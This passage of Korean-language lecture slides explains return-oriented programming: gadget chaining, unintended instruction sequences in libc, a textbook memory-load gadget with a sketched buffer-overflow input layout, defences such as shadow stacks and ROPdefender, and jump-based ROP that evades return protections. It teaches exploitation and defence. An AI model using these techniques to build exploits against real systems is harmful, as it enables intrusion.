  • Gadget은 특정 작업(예: load, store, xor, branch)을 수행함.
  • 이후, 공격자는 gadget들을 결합하여 원하는 동작을 강제함.

Finding unintended instruction sequences

• libc에 다음과 같은 명령어가 있다고 가정

  Byte values	Assembler	Comment
  b8 13 00 00 00	mov 0x13,%eax`	/* move 0x13 to the %eax register */
  e9 c3 f8 ff ff	jmp 3aae9	/* jump to (relative) address 3aae9 */

• b8 대신 00부터 바이트 스트림을 해석하면, 다음과 같은 의도하지 않은 명령어 시퀀스를 얻을 수 있음.

  Byte values	Assembler	Comment
  00 00	add %al, (%eax)	/* add register value of %al to the word pointed to by the %eax register */
  00 e9	add %ch,%cl	/* add registers %cl and %ch */
  c3	ret	/* return instruction */

Gadget Example : Memory Load (1/4)

           Stack                                                           
    ┌──────────────────┐                                                   
    │ Return Address 2 │                                                   
    ├──────────────────┤                                                   
    │    0x8010AB8D    │                                                   
    ├──────────────────┤                                                   
SP--► Return Address 1 ├──┐                                                
    ├──────────────────┤  │                                                
    │     Pattern 2    │  │      Memory LOAD Gadget                        
    ├──────────────────┤  │   ┌───────────────────────────────────────────┐
    │                  │  │   │  ┌────────────┐  ┌──────────────────────┐ │
    │     Pattern 1    │  └───┼──►  pop %eax  │  │ movl 64(%eax), %eax  │ │
    │                  │      │  ├────────────┤  ├──────────────────────┤ │
    └──────────────────┘      │  │    ret     │  │         ret          │ │
                              │  └────────────┘  └──────────────────────┘ │
                              └───────────────────────────────────────────┘
    ┌──────────────────┐                                                   
    │    0xDEADBEEF    │          Value of %eax                             
    └────────▲─────────┘      ┌───────────────────┐                        
             │                │ 0 0 0 0 0 0 0 0 0 │                        
        0x8010ABCD            └───────────────────┘                        

• 목표: (0x8010ABCD가 가리키는) 단어 0xDEADBEEF를 %eax register에 로드하기
• Gadget 찾기 $\rightarrow$ BoF 공격 $\rightarrow$ Return $\rightarrow$ Sequence 1 시작
  • 입력 값: Pattern 1 + Pattern 2 + Ret_addr_1 + “\x8D\xAB\x10\x80” + Ret_addr_2

Gadget Example: Memory Load (2/4)

• 0x8010AB8D를 %eax register에 pop
• 목표: (0x8010ABCD가 가리키는) 단어 0xDEADBEEF를 %eax register에 로드하기

Gadget Example: Memory Load (3/4)

• 제어 흐름은 Sequence 1의 ret 명령어에 의해 Sequence 2로 이동함.
• 목표: (0x8010ABCD가 가리키는) 단어 0xDEADBEEF를 %eax register에 로드하기

Gadget Example: Memory Load (4/4)

• 0xDEADBEEF를 %eax register로 move
• 목표: (0x8010ABCD가 가리키는) 단어 0xDEADBEEF를 %eax register에 로드하기

Countermeasures

• 반환 주소를 악의적인 수정으로부터 어떻게 보호할 것인가?
  • 컴파일러 기반 솔루션
    • 반환 주소를 별도의 shadow stack에 백업함.
  • 하드웨어 지원 솔루션
    • Stack을 데이터 전용 및 호출/반환 주소 전용 부분으로 분리함.
    • 호출/반환 stack에 대한 access control을 강제함.
  • JIT-compiler 기반의 동적 바이너리 계측(Dynamic binary instrumentation)
    • 접근 방식: 실행 시간(runtime)에 명령어 블록을 새로운 명령어로 컴파일하여 계측 코드를 추가함 (JIT – Just In Time Compilation)
  • Program shepherding
    • 반환 대상이 유효한 호출 사이트인지 확인함, 즉 반환은 call 명령어가 선행된 명령어를 대상으로 해야 함.
  • 반환 빈도 측정
  • ROPdefender
    • 별도의 shadow stack에 보관된 유효한 반환 주소와 각 반환 주소를 대조하여 확인함.

ROP without Returns [9]

• 특징
  • 반환 주소를 보호하는 대응책을 우회할 수 있음.
  • Intel x86 및 ARM 등에 적용 가능함.
  • 반환 명령어 없이 두 플랫폼 모두에 대한 튜링 완전한 gadget 세트 및 실용적인 공격 인스턴스화
• 접근 방식
  • 반환과 유사한(return-like) 시퀀스 사용
  • 후보: 간접 점프(indirect jumps)
  • Intel 아키텍처: jmp *%eax
  • ARM 아키텍처: blx r3
• 제약 사항
  • %eax, r3, … register들을 미리 초기화해야 함.
  • Return은 stack pointer를 자동으로 업데이트하지만, 간접 점프는 그렇지 않음.

ROP without Returns

• 반환과 유사한 시퀀스(Return-like Sequences)
  • Intel
    • pop %eax; jmp *%eax
      1. 대상 주소를 %eax로 Pop
      2. pop 명령어는 stack pointer를 자동으로 4바이트 증가시킴(return과 유사)
      3. %eax에 저장된 주소로 Jump
  • ARM
    • Pop-jump 시퀀스가 존재하지 않음.
    • Update-Load-Branch 시퀀스 사용
      1. (Update) adds r6,#4: r6에 4바이트 추가
      2. (Load) ldr r5, [r6]: 대상 주소를 r5로 Load
      3. (Branch) blx r5: 대상 주소로 Branch
  • 문제점
    • 위 아키텍처들에서 반환과 유사한 시퀀스를 찾기 어려움.